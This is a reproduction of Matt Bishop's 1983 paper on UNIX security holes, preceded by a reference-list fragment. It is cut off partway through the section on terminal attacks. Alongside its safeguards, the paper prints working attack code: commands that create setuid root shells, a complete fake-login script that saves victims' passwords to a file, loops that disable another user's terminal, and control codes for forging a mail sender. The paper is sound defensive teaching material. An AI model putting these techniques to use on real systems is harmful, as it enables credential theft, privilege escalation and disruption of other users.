[39] J. Viega and G. McGraw, *Building Secure Software: How to Avoid Security Problems the Right Way*. Boston, MA: Addison-Wesley, 2001.

[40] M. Howard and S. Lipner, *The Security Development Lifecycle*. Redmond, WA: Microsoft Press, 2003.

[41] K. Thompson, "Reflections on trusting trust," *Communications of the ACM*, vol. 27, no. 8, pp. 761–763, Aug. 1984.

[42] CERT, "Corrupt information from network servers," CERT, Pittsburg, PA, CERT Advisory CA-1996-04, Feb 1996. [Online]. Available: http://www.cert.org/advisories/CA-1996-04.html

[43] ——, "talkd vulnerabilty," CERT, Pittsburg, PA, CERT Advisory CA-1997-04, Jan. 1997. [Online]. Available: http://www.cert.org/advisories/CA-1997-04.html

[44] ——, "Sun 4.1.x loadmodule vulnerability," CERT, Pittsburg, PA, CERT Advisory CA-1995-12, Oct. 1995. [Online]. Available: http://www.cert.org/advisories/CA-1995-12.html

[45] B. Costales, C. Assmann, G. Jansen, and G. Shapiro, *sendmail*, 4th ed. Sebastopol, CA: O'Reilly Media, Inc., Oct. 2007.

[46] CERT, "Telnetd environment vulnerability," CERT, Pittsburg, PA, CERT Advisory CA-1995-14, Nov. 1995. [Online]. Available: http://www.cert.org/advisories/CA-1995-14.html

[47] ——, "Trojan horse version of TCP Wrappers," CERT, Pittsburg, PA, CERT Advisory CA-1999-01, Jan. 1999. [Online]. Available: http://www.cert.org/advisories/CA-1999-01.html

[48] ——, "Trojan horse OpenSSH distribution," CERT, Pittsburg, PA, CERT Advisory CA-2002-24, Aug. 2002. [Online]. Available: http://www.cert.org/advisories/CA-2002-24.html

[49] ——, "Trojan horse sendmail distribution," CERT, Pittsburg, PA, CERT Advisory CA-2002-28, Aug. 2002. [Online]. Available: http://www.cert.org/advisories/CA-2002-28.html

[50] ——, "/usr/lib/sendmail, /bin/tar, and /dev/audio vulnerabilities," CERT, Pittsburg, PA, CERT Advisory CA-1993-15, Oct. 1993. [Online]. Available: http://www.cert.org/advisories/CA-1993-15.html

[51] K. Chen, "Reversing and exploiting an apple firmware update," July 2009. [Online]. Available: http://www.blackhat.com/presentations/bh-usa-09/CHEN/BHUSA09-Chen-RevAppleFirm-PAPER.pdf

[52] CERT, "Vulnerability in NCSA/Apache CGI example code," CERT, Pittsburg, PA, CERT Advisory CA-1996-06, Mar. 1996. [Online]. Available: http://www.cert.org/advisories/CA-1996-06.html

[53] ——, "Vulnerability in webdist.cgi," CERT, Pittsburg, PA, CERT Advisory CA-1997-12, May 1997. [Online]. Available: http://www.cert.org/advisories/CA-1997-12.html

[54] ——, "NFS vulnerabilities," CERT, Pittsburg, PA, CERT Advisory CA-1994-15, Dec.. 1994. [Online]. Available: http://www.cert.org/advisories/CA-1994-15.html

[55] ——, "Buffer overflow in kerberos administration daemon," CERT, Pittsburg, PA, CERT Advisory CA-2002-29, Oct. 2002. [Online]. Available: http://www.cert.org/advisories/CA-2002-29.html

[56] ——, "Vulnerability in ssh-agent," CERT, Pittsburg, PA, CERT Advisory CA-1998-03, Jan. 1998. [Online]. Available: http://www.cert.org/advisories/CA-1998-03.html

[57] M. Bishop, *Computer Security: Art and Science*. Boston, MA: Addison-Wesley, Dec. 2002.

[58] ——, "Overview of red team reports," Office of the California Secretary of State, Sacramento, CA, Tech. Rep., 2007. [Online]. Available: http://www.sos.ca.gov/elections/voting_systems/ttbr/red_overview.pdf

[59] D. Parker, "Résumé," in *Enough Rope: Poems by Dorothy Parker*. New York, NY, USA: Boni and Liveright, 1926, p. 61.

[60] S. Peisert, "A model of forensic analysis using goal-oriented logging," Ph.D. dissertation, Department of Computer Science and Engineering, University of California at San Diego, Mar. 2007.

Security Problems with the UNIX Operating System

Matt Bishop
Department of Computer Sciences
Purdue University
West Lafayette, Indiana 47907

Version 2, January 31, 1983

***Abstract*—As the UNIX operating system becomes more widely used, considerations of operating system security and data integrity become more and more important. Unfortunately, UNIX has deficiencies in this regard. This note describes several ways of violating the protection mechanisms provided by UNIX, and where appropriate suggests solutions.**

REFLECTION, *n.* An action of the mind whereby we obtain a clearer view of our relation to the things of yesterday and are able to avoid the perils that we shall not again encounter.

Ambrose Bierce [1]

I. Introduction

The UNIX† operating system [2] is one of the most popular operating systems currently available. Its simplicity, elegance, and power have led to its use in most academic institutions, and as a basis for many commercial operating systems. Indeed, a commercial version of UNIX, known as UNIX-III, has recently been released by AT&T for commercial use. In short, UNIX and UNIX-like systems have become commonplace in the world of computing.

One very important question which must be asked about any operating system concerns its security. To what extent does it protect data from unintended disclosure or destruction? How difficult is it for a malicious user to interfere with other users' activities? It is a fairly common belief that UNIX does a reasonable job in these areas; unfortunately, details of specific weaknesses have generally been passed by word of mouth, or each installation has had to discover them by experience. We hope that this note will improve the communication of this "hearsay" information.

Two comments are in order. First, this note is not written as criticism of UNIX design; on the contrary, we feel that the UNIX operating system is among the best we have used. UNIX was developed and designed for friendly environments, where the only threats were from accidents; the controls provided are more than sufficient to handle these cases. But as UNIX moves away from the research community, into the academic computing center and the commercial world, the environment in which it is used can no longer be assumed to be friendly. It is for the administrators and system programmers of these sites that this note is intended.

A problem in writing any document such as this is determining which UNIX system to write about. There are a very large number of UNIX systems in use today; although this note was written with two particular systems[1] in mind, much of what it discusses is applicable to other UNIX systems. Each of these systems has its own characteristics and quirks. This note includes methods of breaching security which are known to work on at least one version. (We are most familiar with Berkeley UNIX, but have used both Version 6 and Version 7 UNIX as well.) The specific versions on which each problem exists are *not* identified explicitly, because invariably every installation will modify the distributed version of UNIX to meet local needs, and so what would work on one system might not work on another. We have tried to provide enough information so that determining whether or not a particular method would work at a particular UNIX installation does not require trying it (although for most of these methods, testing is the best way). We have described some incidents where these methods were used, or attempted; unless otherwise stated, these are incidents that we know of first hand, or which have been described by systems administrators or systems programmers on the system where the breach, or attempted breach, occurred.

One more point deserves mention. The UNIX operating system is much simpler than most operating systems. Basically, it consists of a process manager, an I/O system, and a file system [3]; everything else, such as network programs, mailers, and other programs usually associated with a kernel, is built on top of the kernel. For this reason, security problems are usually a product of non-kernel programs interacting with the kernel, or are from non-kernel programs entirely. Thus, although UNIX usually refers only to the operating system, in this note we use it to refer to programs which run under that operating system.

This document assumes that the reader is familiar with basic UNIX concepts, such as redirecting output and what a *shell* is.[2] The *superuser* is a user (with the login name *root*) for whom the protection rules do not apply; he can use special system calls, change protection modes, owners, and groups of files, read any file and write to any file or terminal, and in general do anything he wishes. Command names, when they first occur, are followed by a number in parenthesis; this number is the section number of the manual [5] containing the command. Control characters are represented by prefixing the corresponding printing character with a circumflex; thus, the character obtained by pressing the control key and the 'D' key simultaneously would be written as '^D'.

The financial support of National Science Foundation grant MCS-80-15484 is gratefully acknowledged.

†UNIX is a Trademark of Bell Laboratories

[1]UNIX Version 7 and Berkeley UNIX, versions through 4.1 and 2.81. Berkeley's 4.2 and 2.82 releases are not discussed, because they were not available when this note was prepared. Other versions of UNIX include System III, from AT&T, and a host of microcomputer operating systems.

[2]A good introductory document is [4].

II. Some Security Holes

Breaching security and *breaking the system* refer to obtaining unauthorized privileges, to subverting protection controls, or to unauthorized disclosure or destruction of data. Violating the authentication mechanisms (which verifies that something is what it claims to be; an example is the header prepended by UNIX mail programs, which identify the sender for the recipient[3]) is one such breach; another example is an unauthorized obtaining of superuser privileges. The methods described here are those which involve weaknesses of the UNIX operating system or utility programs designed to provide security (such as the secret mail programs).[4] Some installations have removed the offending programs; other installations have modified the program to fix the flaw; still others have done nothing about them. Some of the methods described below are very difficult to use; others can be done by *anybody*. This list is not, nor could any such list be, exhaustive; however, the major security weaknesses in UNIX about which we know have been listed.[5]

One class of security breaches [7] is not discussed at all; this class includes those methods requiring access to the physical components of the computer. This class is omitted because given such access, breaching security is trivial; for example, on a VAX[‡]-11/780, an attacker can become superuser by turning the CPU switch to LOCAL, and typing '^P' on the console. This makes the console talk to the LSI-11; to halt the VAX, the attacker need only type 'H' [8], [9]. He can then reboot the system in single-user mode; when it boots, the single user (*i.e.*, the attacker) will be superuser. Other means of acquiring information include taking tapes or disk packs. Determining how best to handle these threats depends completely on the environment of the installation.

Nor is password security discussed. UNIX uses a DES encryption scheme, salted and made deliberately defective to increase the time needed for a dictionary search.[6] An extensive critique [10] concluded that

> [o]n the issue of password security, UNIX is probably better than most systems. The use of encrypted passwords appears reasonably secure in the absence of serious attention of experts in the field.[7]

A. Setuid Programs

The Problem

A typical problem in systems programming is often posed as a scorekeeping problem [11]. Suppose someone has a game program and wants to keep a record of the highest scores. This file, which will be called the *high score file*, must be writable by the game program (so it can be kept up to date), but not by anyone else (so that the entries in it are accurate). UNIX solves this problem by providing two sets of identifications for processes. The first set, called the *real* user identification and group identification (or UID and GID, respectively), indicate the real user of the process. The second set, called the *effective* UID and GID, indicate what rights the process has, which may be, and often are, different from the real UID and GID. The protection mask contains a bits which is called the *setuid* bit. (There is another such bit for the effective GID.) If this bit is not set, the effective UID of the process will be that of the person executing the file; but if the setuid bit is set (so the program runs in *setuid mode*), the effective UID will be that of the file, not those of the person executing the file. In either case, the real UID and GID are those of the user. So if only the owner of the high score file (who is the user with the same UID as the file) can write on it, the setuid bit of the file containing the game program is turned on, and the UIDs of this file and the high score file are the same, then when someone runs the game program, that process can write into the high score file.

In practice, this solution introduces many security problems [12]. All involve the attacker mimicking another user (usually, but not always, the superuser.) Since programs which run in setuid mode change the effective UID, and since this is the UID checked by the system protection routines and by most programs which do any UID checking, such a substitution gives the attacker all the rights of the user with the new UID. This enables an attacker to do many things if elementary precautions are not taken, as these examples will show.

Examples

Example 1: Setuid Programs with Escapes

A common feature of UNIX programs is permitting a user to fork a subshell to run a system command without leaving the program. For example, from within the text editor *ed*(1), the command '!' will pass the rest of the line line to a subshell for execution [13]. The problem arises when a setuid program which has such a feature fails to reset the effective UID of the subshell to the user's real UID. Thus, to become a superuser, all the attacker needs to do is find a program which is owned by *root*, has the setuid bit set, and which fails to reset effective UIDs whenever it forks a subshell. The attacker executes the program, enters a subshell, and he is a superuser.

Such a penetration was a frightening possibility on our system; at one time, all our games were *root*-owned, and at least one would provide the user with a subshell upon request with *root*. As a result, we checked all games for which we had sources for this flaw (and a surprising number had it!), and created a new user, *games*, for the game programs. This eliminated that threat to the system—although, as the game involved kept a high score file, unscrupulous users could doctor their scores. (As far as anyone knows, nobody did; this is a compliment to the moral caliber of the game players here.)

Example 2: Writable Setuid Programs

When a setuid file is writable by anyone, a very serious security hole exists. All an attacker has to do is copy another program, such as the shell, onto that file. When he executes that file, he will have all the owner's privileges. Since some versions of UNIX are distributed with all files readable and writable by everyone, finding an appropriate file can be quite easy.

Example 3: Using the Wrong Startup File

This example is similar to the previous one. Very often, programs begin by reading a file with program options; this saves the user from having to retype the options whenever the program is invoked. Examples of this type of program are *readnews*(1), *error*(1), *vi*(1), and *csh*(1). These "startup files" have predefined names (often ending in "rc"; for example, the startup files for the four programs named above are *.newsrc*, *.errorrc*, *.exrc*, and *.cshrc*, respectively) and are usually located in the user's home directory. Normally, this is quite harmless; but when combined with a setuid program, it is a recipe for disaster.

The problem arises in the way some programs, such as *csh*, determine the user's home directory. If the program uses the real

[3] But read on.

[4] Methods of obtaining data by compromising databases are not discussed here. For a good survey of these techniques, see [6], Chapter 6.

[5] We welcome descriptions of other weaknesses; such descriptions may be sent to the author.

[‡] VAX is a Trademark of Digital Equipment Corporation

[6] See *crypt*(3).

[7] [10], p. 597

user's home directory instead of the effective user's home directory, the real user controls the program, and can use any options he desires. Worse, if the program involved is a command interpreter like *csh*, or any program (such as a setuid *csh* script) which invokes a command interpreter, one can execute any command as the owner of the program. For example, *csh* uses the value of the shell variable **HOME** (which is set at login); now, suppose there is a setuid *csh* script owned by *root*. A user need only enter the lines

```
cp /bin/csh x
chmod 6755 x
```

into the *cshrc* file in his home directory. Since *root* can write into his current working directory, after executing the script, there will be a *root*-owned setuid, setgid shell in the file *x* in the current working directory.

Since the Bourne shell *sh*(1) will read commands from a startup file (called ".profile" and residing in the current working directory) only when it is invoked by someone logging in, it is tempting to assume that that shell is not vulnerable to this method of attack. Unfortunately, the Bourne shell decides whether or not it is a login shell by looking at its zeroth argument; if that argument begins with a "-", the shell thinks it has been invoked by someone logging in. So, suppose there is a *root*-owned setuid Bourne shell (or shell script) called *ssh*. To set the zeroth argument to "-ssh", merely compile and execute the following C program:

```
main()
{
    execl("ssh", "-ssh", 0);
}
```

When *ssh* starts, its zeroth argument is "-ssh", and so *ssh* will read the ".profile" file in the current working directory; it then executes the commands in that file—as *root*!

Example 4: Mail Directory

This method relies on a glitch in some mailing systems. Mail programs on UNIX change the UID of the mail file to that of the recipient. If the mail program does not clear the setuid bits of the mail file, and the mail directory is writable, security may be breached easily. For example, to get a shell which is *root*-owned and has the setuid bit set, an attacker first deletes /usr/spool/mail/root, which is *root*'s mail file, or moves it somewhere else (as on some systems the mail directory /usr/spool/mail is writable by everyone, he can do this). He copies an executable version of a shell into /usr/spool/mail/root and sets the setuid bit. (Since the attacker created /usr/spool/mail/root, the file's UID is that of the attacker and he can set the protection mask as he pleases.) Now, the UID of that file must be changed to *root*; to do so, the attacker mails *root* an empty letter. The mailing program changes the owner of the file to *root*, but leaves the setuid bit on. The attacker then executes *root*'s mail file, which is now a shell that runs setuid to *root*, and as superuser cleans up the incriminating evidence. (Incidentally, when the mail file is executed, the header from the empty letter is taken to be part of the string table.)

Example 5: Appending to an Arbitrary File

This method also uses the mailing system. It is possible to mail to an arbitrary file; just name the file rather than giving a recipient. As some mailing programs, such as /bin/mail[8]. are run setuid to *root*, it can append the letter to any file. This may seem relatively unimportant, because the mail header, which identifies the sender, is prepended to the message before the message is appended to the file; unfortunately, it is easy to make it identify someone else[9].

[8]See *binmail*(1).

[9]See *Change Mail Sender I* and *Change Mail Sender II*, below.

This is a result of the *delivermail*(8) program which Berkeley mailers use to perform the actual delivery. To prevent this, add the following two lines just after the variable declarations in the routine *mailfile()* in the file "deliver.c" (around line 756):

```
if (access(filename, 2) < 0)
    return (EX_CANTCREAT);
```

Example 6: Carelessness in Setuid Programs

The command *su*(1) enables one user to substitute another user's real (and effective) UID and GID for his own. This program demands a password and looks in the password file to verify that such a substitution is permissible. As distributed under UNIX version 6, *su* had a very serious bug. If the password file could not be opened, it provided a shell anyway—with real, and effective, UID and GID set to those of *root*. Since this can be forced to occur very easily (write a C program to open any file, such as "/dev/null", until the maximum number of open files allowed to a process is reached, and then *execl*(2) *su*), it is a problem which should be fixed (and has been on all version 7 and Berkeley UNIXes that we know of.)

Open files do not present the only problem. An attacker can compromise someone seriously if he finds a file which anyone can write on and that is owned by the prospective victim (see *Running a Shell Script at a Specified Time* in **Design Problems**, below.) Actually, an attacker can obtain a writable *root*-owned file by typing the following:

```
umask 0
passwd
^\
```

The *umask* command (see *sh*) specifies that any files created are to be created so that anyone can read or write them. Any command which runs setuid to *root* may be used in place of *passwd*(1); after any such program is sent the *QUIT* signal (by typing '^\'), it terminates and produces a core dump in a file named "core" (such a file is useful for debugging purposes). As the effective UID of the process which produced the core dump was *root*, the file "core" is owned by *root*. This file is readable, and writable, by everyone due to the setting of the *umask* command. The attacker then deletes the contents of "core" and inserts whatever he likes[10].

Another example of carelessness exists in the version 6 *login*(1) command[11]. In this program, two character arrays, each 80 characters long, were allocated sequentially. After obtaining the user's name, *login* loaded the second array with the user's enciphered password (obtained from "/etc/passwd".) It then read the user's password (in cleartext) from the terminal and loaded it into the first array, enciphered it, and compared it to the contents of the second array. Unfortunately, it failed to check the length of the input password. So, to become *root*, a user would type anything (say, "gleep") as the password, pad it with NULs[12] until it was 80 characters long, and then type the ciphertext of "gleep". (Recall that the password encryption routines have traditionally been available to UNIX users.) This encrypted word overwrote the real one, and so *login* would take the encryption of "gleep" to be the encryption of the *root*'s password—and since it and the encryption of the string in the first array match, *login* would log the attacker in as *root*. (Fortunately, this has been fixed in all other versions of the *login* command.)

Recommended Safeguards

[10]To see how this can be useful, see the example *Running a Shell Script at a Specified Time*, below.)

[11]It should be pointed out that some believe this "bug" was intentional; Ken Thompson (one of the original designers of UNIX) denies it.

[12]That is, the ASCII character with ordinal number 0.

Care must be used when writing a program that is to be run in setuid mode. Basic programming principles, such as verifying input data, catching signals, and closing sensitive files, cannot be overlooked. A setuid program must always reset the effective UID and GID to the real UID and GID after a *fork*(2) but before an *execl*(2). The *setuid*(2), *getuid*(2), *setgid*(2), and *getgid*(2) system calls are provided for just this purpose; so, the following lines should be put after the call to *fork* but before the call to *execl*:

```
setuid(getuid());
setgid(getgid());
```

Sensitive files and pipes should also be closed before the *execl*, since the overlaid process will inherit open files and pipes; a very convenient way to do this is to issue the system call[13].

```
ioctl(file descriptor, FIOCLEX, NULL);
```

just after a sensitive file is opened. This system call causes the file to be closed whenever a call to *execl* is successful.

Signal handling is a major problem. After a signal is received, the interrupt routine is called, in which the user may disable or reset the signal. But between the signal's being encountered and its being disabled or reset, another occurrence of the signal will cause the default action to be taken. Thus, even if the program *passwd* discussed above had handled *QUIT* signals so as to prevent a core dump, it would still have produced a core image were two *QUIT* signals typed in succession, very quickly. Clearly, no matter what is done, an attacker can evade any signal-handling procedures. Nevertheless, we recommend attempting to handle the signals, because there is hope that future versions of UNIX will have this bug fixed.

Berkeley UNIX already has fixed it. Its job control features[14], will hold incoming signals until the interrupt handler has finished processing the current signal. Unfortunately, these mechanisms are not portable to other versions of UNIX, so the decision of using them depends on the need for portability being less than the need for security. With most setuid programs, this is the case; however, a mechanism like this that is both portable and secure would be preferable.

Programs which read user-owned startup files must either restrict the commands or options allowed in those files, or not read those files when running in setuid mode. *Csh* provides an option to prevent *.cshrc* files from being read; this should always be used in setuid *csh* scripts. To do this, make the first line of the script be

```
#! /bin/csh -f
```

In addition, the environment variable **HOME** should be set to the home directory of the owner of the setuid file immediately upon entry, in case the script invokes another setuid shell.

What should be done with a setuid program which is insecure? A lot depends on the nature of the insecurity. If the problem is a failure to reset the effective UID or GID, the source should be fixed if available; if it is not, and the program cannot be removed, it should be run with a UID and GID other than that of *root*. (For example, recall how we handled this problem with our games.) The distributing site should be notified and a copy of the object code, with the bug fixed, should be obtained. If all else fails, it may be possible to patch up the executable file using *adb*(1). (Anyone who wants to do this is welcome to try!) Similar comments apply to programs which do not close sensitive files before an *execl*, fail to trap signals (although, as was noted, on a non-Berkeley UNIX system, this is a questionable fix), or fail on invalid input.

On those systems (such as the Berkeley 4.1 release) which allow shell scripts to be run in setuid mode, shell variables should be set *explicitly* within the shell script. For example, if the shell variable **PATH** were not set, an attacker could write his own version of an innocuous command, set his **PATH** so that version of the command would be executed, and run the shell script. A variant of this technique, which works only with the Bourne shell, is for an attacker to reset the variable **IFS** (which indicates which characters are to be treated as blanks by the shell) so that the shell script will call a program, such as the editor, that the attacker can then use to give himself further rights (as, for example by changing *root*'s password.)

No setuid program should *ever* be writable by anyone other than its owner (and, possibly, the members of its group.) Unfortunately, this requires that the modes of all files be checked (and reset if necessary) periodically; this is extremely tedious if done manually. On our system, we have a program which does the checking and resetting; this requires us to maintain a database of system programs, which is useful in other ways, also. On many systems, the kernel turns off the setuid and setgid bits on the file being written.

A good rule of thumb is that spool directories should not be writable by everyone. This would require programs which deliver mail, and *at*(1), to be setuid to the appropriate user (usually *spool* or *daemon*). Doing this would eliminate most problems involving mail files, and may others involving the use of *at* (these will be discussed later.) Similarly, the mail delivering programs must turn off all setuid bits in the protection masks of the files to which they deliver mail.

B. Trojan Horses

The lessons of history crop up in surprising places; who would think the ancient Greeks would developed a method which would be used to breach the security of a modern computer system? According to legend, the Greeks captured Troy by building a giant wooden horse and pretending to leave. The Trojans took the horse to be an offering to the gods, and dragged it into the city to obtain their gods' favor. That night, some Greek warriors, concealed inside the horse, crept out and opened the gates of Troy, which the Greek forces, having returned, promptly sacked. The *Trojan horse* technique for breaching a computer system's security is similar. A program which the attacker wishes someone (call him the victim) to execute is concealed in an innocuous place; when the victim executes it, security is breached. Notice that the actual breaking is done by the victim, although the attacker sets it up, just as the security of Troy was actually breached by the Trojans (the victims) who pulled the horse into the city, even though the Greeks (the attackers) set everything up.

Examples

Example 7: Writing in a Directory on the User's Search Path

To understand how this works, it is necessary to know how the shell locates a program to be executed. (This applies to the Bourne shell [14], which is the standard shell; other shells may locate commands differently.) There is a variable called **PATH** which has as its value a list of directories separated by colons. These directories constitute the *search path*. When a command is given to the shell, it checks to see if any character of the command is '/'. If so, it assumes the command is a path name and executes it. If not, it prefixes the command by the first directory in the search path (followed by a '/') and attempts to execute that program. It does this for each of the directories in the search path. At the first one which does execute, the search is over; if none of them execute, the shell reports failure.

The problem lies in the sequential search. Suppose a user has set his search path to be

[13] See *ioctl*(2).

[14] Notably *sigsys*(2) and *sigset*(3). See *jobs*(3) for more information.

```
:/usr/xxx/bin:/usr/bin:/bin
```

(a blank directory name, which precedes the first colon, means the current directory). Moreover, suppose "/usr/xxx/bin" is writable by anyone. The attacker need only write a program to do whatever he wants, copy it into "/usr/xxx/bin" with the same name as a system program, and wait for the victim to execute that system program.

Some shells search for commands a bit differently; for example, C-shell [15] uses a hash table of commands. However, it does *not* do this for the current directory, a fact many people found out when looking in a certain graduate student's directory. This student created his own version of *ls*(1), which wrote the command *login*(1) into the user's ".profile" and ".login" (C-shell equivalent of ".profile") files before listing the files in the directory; in this listing, the entry for *ls* was suppressed. He then placed a copy of this private program in each of his directories. For the next few days, all users who changed to any of these directories and ran *ls* had the command *login* written into their ".profile" or ".login" file. This essentially prevented them from logging in until the *login* was deleted from the ".login" or ".profile" file.

Example 8: Fake Login Sequence

This Trojan horse technique is very simple and yet quite effective; moreover, if done properly, the victim does not know his security has been compromised. The trap depends on a little-noticed feature of the login sequence. If the user mistypes his name or password, the message `Login incorrect` is printed, and the *identical* sequence is repeated. So, the attacker writes a shell script (call it "x") which prints a false login prompt, copies both the name and password into a file, prints the error message, and then runs *login*, which will log him off:

```
: ' shell script to fake a login '
: ' constants: name, password go into FILE '
: ' BANNER is top line on screen '
BANNER='Introductory blurb'
FILE=$HOME/suckers
: ' ignore interrupts '
trap '' 1 2 3 5 15
: ' clean screen, print intro, '
: ' get name, password '
clear
echo $BANNER
echo ''
echo -n 'login: '
read login
stty -echo
echo -n 'Password:'
read password
stty echo
echo ''
: ' save login name, password in file '
echo $login $password >> $FILE
echo 'Login incorrect'
: ' exit (by execing login) '
exec login
```

The attacker then types[15]

```
exec x
```

and goes away. Since this sequence is completely indistinguishable from a genuine login sequence, and since most users will assume they mistyped their password (particularly since it is not echoed) when they see the error message, the victim will never know what happened. Even if he suspects something has happened, all he can do is change his password.

This technique has been used to break UNIX before. According to a (second-hand) account of the incident, some students ran such a shell script on several terminals for six months; then *root* logged on. What happened next is not recorded; almost certainly, the students logged on as *root* and made their own copy of the shell owned by *root* and with the setuid bit on.

One very easy way to eliminate this danger is to ensure that, after an incorrect login, the successive login prompts are different. On one version of UNIX, the first prompt was `Login:` and successive prompts were `Name:`. If a user ever got two `Login:` prompts successively, he knew that his password was known to someone else. (Unfortunately, for some reason this change was deleted from later versions of UNIX) If such a solution is used, the reasons for the change in prompts must be made known to all users; otherwise, someone might not notice whether the first two prompts were the same. Until such a change is made, users must be very careful to notice whether or not they typed their passwords in correctly.

Note that the shell script is a rather primitive way to program this Trojan horse; far more sophisticated traps, in which system programs other than *login* are imitated, may be written in C.

Recommended Safeguards

By its very nature, a Trojan horse is very difficult to defend against. However, some steps may be taken to reduce the possibility, of falling prey to such a trap. Most importantly, directory modes must be properly set. It is not a good idea to have directories which are writable by everybody in your search path. If such directories must be in your search path, put them *after* the directories containing the system programs! If the current directory is listed before the directories containing system programs, it is wise to list the contents of another user's directory before changing into that directory.

The problem of bogus system programs can best be handled by typing the full path name of the system command (assuming, of course, all Trojan horse attacks will come from users and not from the system programs.) For example, rather than typing

```
ls
```

to list the contents of a directory,[16] use

```
/bin/ls
```

instead. Also, the variable **PATH** should be very carefully set; assuming all Trojan horses will come from users rather than the systems staff, it is reasonable not to execute programs other than the system programs except by specifying the full path name. Remember, though, that in this case, the directory "." should *not* be in your path.

The next obvious question is whether or not system programs can really be trusted. There is really no alternative to doing so; while each user could write private versions of system programs which did not run in setuid mode, setuid system programs cannot be replaced by private programs (because they use resources or take actions which users normally do not have permission to use or take.) The problem lies not in the moral caliber of the system staff,[17] but in that of contributors to the system. Users are usually encouraged to contribute software to their computer system; one may write a program which many people find useful, and rather than rewriting it, the system staff will simply ask that user to permit them to move it to a public area. Similarly, programs may be obtained from other computer installations or the distributors. But,

[15] See *sh* in [5].

[16] See *ls* in [5].

[17] If the system programmers cannot be trusted, Trojan horses are the least of anyone's worries.

unless the source code for each new system program or program and operating system updates is obtained, checked, and recompiled, it may be a Trojan horse. Merely checking the source is not enough; the binary must be recompiled from the source because binary files may be edited by using debuggers such as *adb*. Unfortunately, few system staffs have the time or the manpower to check every line of code added to the system. Hence, the assumption of system programs being trustworthy is questionable at best.

Dennis Ritchie tells a story illustrating this. Ken Thompson once broke the C preprocessor by having it check the name of the program it was compiling. If this program was "login.c", it inserted code allowing one to log in as anyone by supplying either the regular password or a special, fixed password. If this program was the C preprocessor itself, it inserted code which determined when the appropriate part of "login.c" was being compiled, as well as code to determine when to insert the special code which determined when the appropriate part of "login.c" was being compiled.[18] Thus, once the executable version of the C preprocessor was installed on the system, these "features" were self-reproducing; the doctored source code did not even have to be installed! (This version of the C preprocessor was never included in any distribution of UNIX, of course.)

How questionable depends on the environment, and since each installation's environment is unique, no set of rules would be valid. The need for security must be weighed against such things as the complexity of security procedures, whether or not the data being protected really needs to be kept confidential, and the attitude of programmers and managers towards the security procedures and the need for security. If security is paramount, such as for a bank's computers, system programs and updates must be checked very carefully, but if security is not so important, as in many research organizations, the systems staff can be somewhat less suspicious of programs. Each installation management must judge its own requirements.[19]

A far more dangerous Trojan horse involves terminals; this is discussed in the next section.

C. Terminal Troubles

The Problem

UNIX takes a unique view of devices; to the user, and to all non-kernel programs, a terminal is just another file, with the UID of the person logged in on it, and the protection mask set to let anyone write to it, and only the owner read from it. If the owner prefers not to let others write to his terminal, he may use *mesg*(1) to turn off this permission. Moreover, a program called *biff*(1) makes use of the execution bit; when set, the user is notified of the arrival of mail asynchronously and the first few lines are printed.

This unified view of files and devices has many effects which make UNIX such a simple operating system to use. Terminal modes can be changed by system programs; for example, *pr*(1) and *nroff*(1) deny other users the ability to write to the terminal upon which their output is being printed. If a terminal is left in a bizarre state, a user can reset the modes from another terminal. And just as output can be directed to a file, so can it be redirected to another terminal upon which the owner of the process can write.

A brief description of how UNIX handles input and output will clarify much of what follows. When a program begins to execute, it has three open files associated with it, namely the standard input, the standard output, and the standard error files. Open files are numbered 0, 1, and so on; these numbers are called *file descriptors*. Initially, the standard input's file descriptor is 0, the standard output's file descriptor is 1, and the standard error's file descriptor is 2. All file referencing within the program is done in terms of file descriptors. Unless redirected, all three of these files are associated with the terminal of the user who invoked the program. The standard error, like the standard output, is written to; it is used for error messages, since the standard output is very often redirected (for example, into a pipe.) Each file may be redirected independently of the others, and redirection may be done either by the command interpreter (see [14], [15]) or the program itself (see [17]).

As we shall show, this flexibility and power causes problems. Using very simple techniques which take advantage of the similarity between terminals and files, a attacker can spy on another user, wreak havoc with his files, and in general make life miserable for whomever he wants. The advent of video terminals and their very sophisticated capabilities multiplies this danger, particularly since the users who demand very sophisticated terminals are usually those users with superuser privileges. This renders the system very vulnerable to an attacker who notices a user working as *root* on such a terminal.

Examples

Example 9: Stty

Stty(1) is a program to set terminal options. To understand its full potential, one must realize that in most cases it does *not* act on the terminal directly, but on the standard output[20]. Normally, since the terminal and the standard output are the same, everything works well. But it is amazing what an attacker can do to someone else with this command.

For example, *stty* has an option to turn on (or off) the echoing of characters. This can be used to annoy people (this happened to the author during an editing session), but it has a more dangerous application. When reading passwords during the login sequence, UNIX turns off the echo, so there will be no record of what the password is (if a hardcopy terminal is being used), and so someone looking over the shoulder of the person logging in will not be able to read the user's password. With *stty*, the echo can be turned back on, if the attacker does so just after the password prompt is printed.

Far more dangerous is the option *raw*. The command

```
stty raw > /dev/tty33
```

will turn on *raw* mode; in this mode, characters are read as they are typed and none of the special characters (such as erase character, erase line, interrupt, or quit) have special meaning. On most terminals, this is annoying; for instance, the user cannot use ^D to log out since it is not read as an end of file character, and the user must use the newline character, and not a carriage return, to end a command line. The only remedy is to go to another terminal and use *stty* to turn off raw mode. To prevent even this, an attacker need only execute the shell commands

```
while true
do
        stty raw > /dev/tty33
done
```

The effect of putting some terminals, such as the ADDS Regent 40, in raw mode is completely different. With these terminals, if the Bourne shell is used, the shell is completely disabled; the user will get no response at all. Hence, the user cannot even log out! As before, the only remedy is to turn off raw mode from another terminal; in this case, the while loop would for all practical purposes disable terminal 33. If C-shell is being used, however,

[18]The preprocessor did *not* insert this code if the option -P was given.

[19]See Section IV in [16] for a discussion of these, and other, factors.

[20]*not* on the diagnostic output, as [5] claims.

the next character the user types will log him out. Although an extremely rude shock to an unsuspecting victim, it is at least better than what the regular shell does; the user is not left with a useless terminal, since the login procedure resets terminal modes (during which raw mode is turned off).

Other programs can be used in this manner; for example, the program *clear*(1), which erases a terminal screen, writes the character sequence to do so on its standard output. So, if terminal 33 and the attacker's terminal use the same sequence of characters to clear the screen, the commands

```
while true
do
        clear > /dev/tty33
done
```

will effectively disable terminal 33. There are many commands which can be used in this fashion; unlike *stty*, however, not even logging out will render terminal 33 usable.

Example 10: Change Mail Sender I

This technique can be used to strike terror into the hearts of one's fellow users[21]. The important detail is to know how to move the cursor about the screen of the victim's terminal. In the body of the letter, the attacker includes control codes to have the cursor overwrite the name of the real sender with that of the fake sender. For example, on an ADDS Regent 40 terminal, the controls are ^F to move the cursor forward, ^U to move it backwards, ^Z to move it up, and ^J to move it down [18]. Then, if the attacker wants to fake a letter from *mab*, he needs to type the string

```
^Z^F^F^F^F^Fmab^U^U^U^U^U^J
```

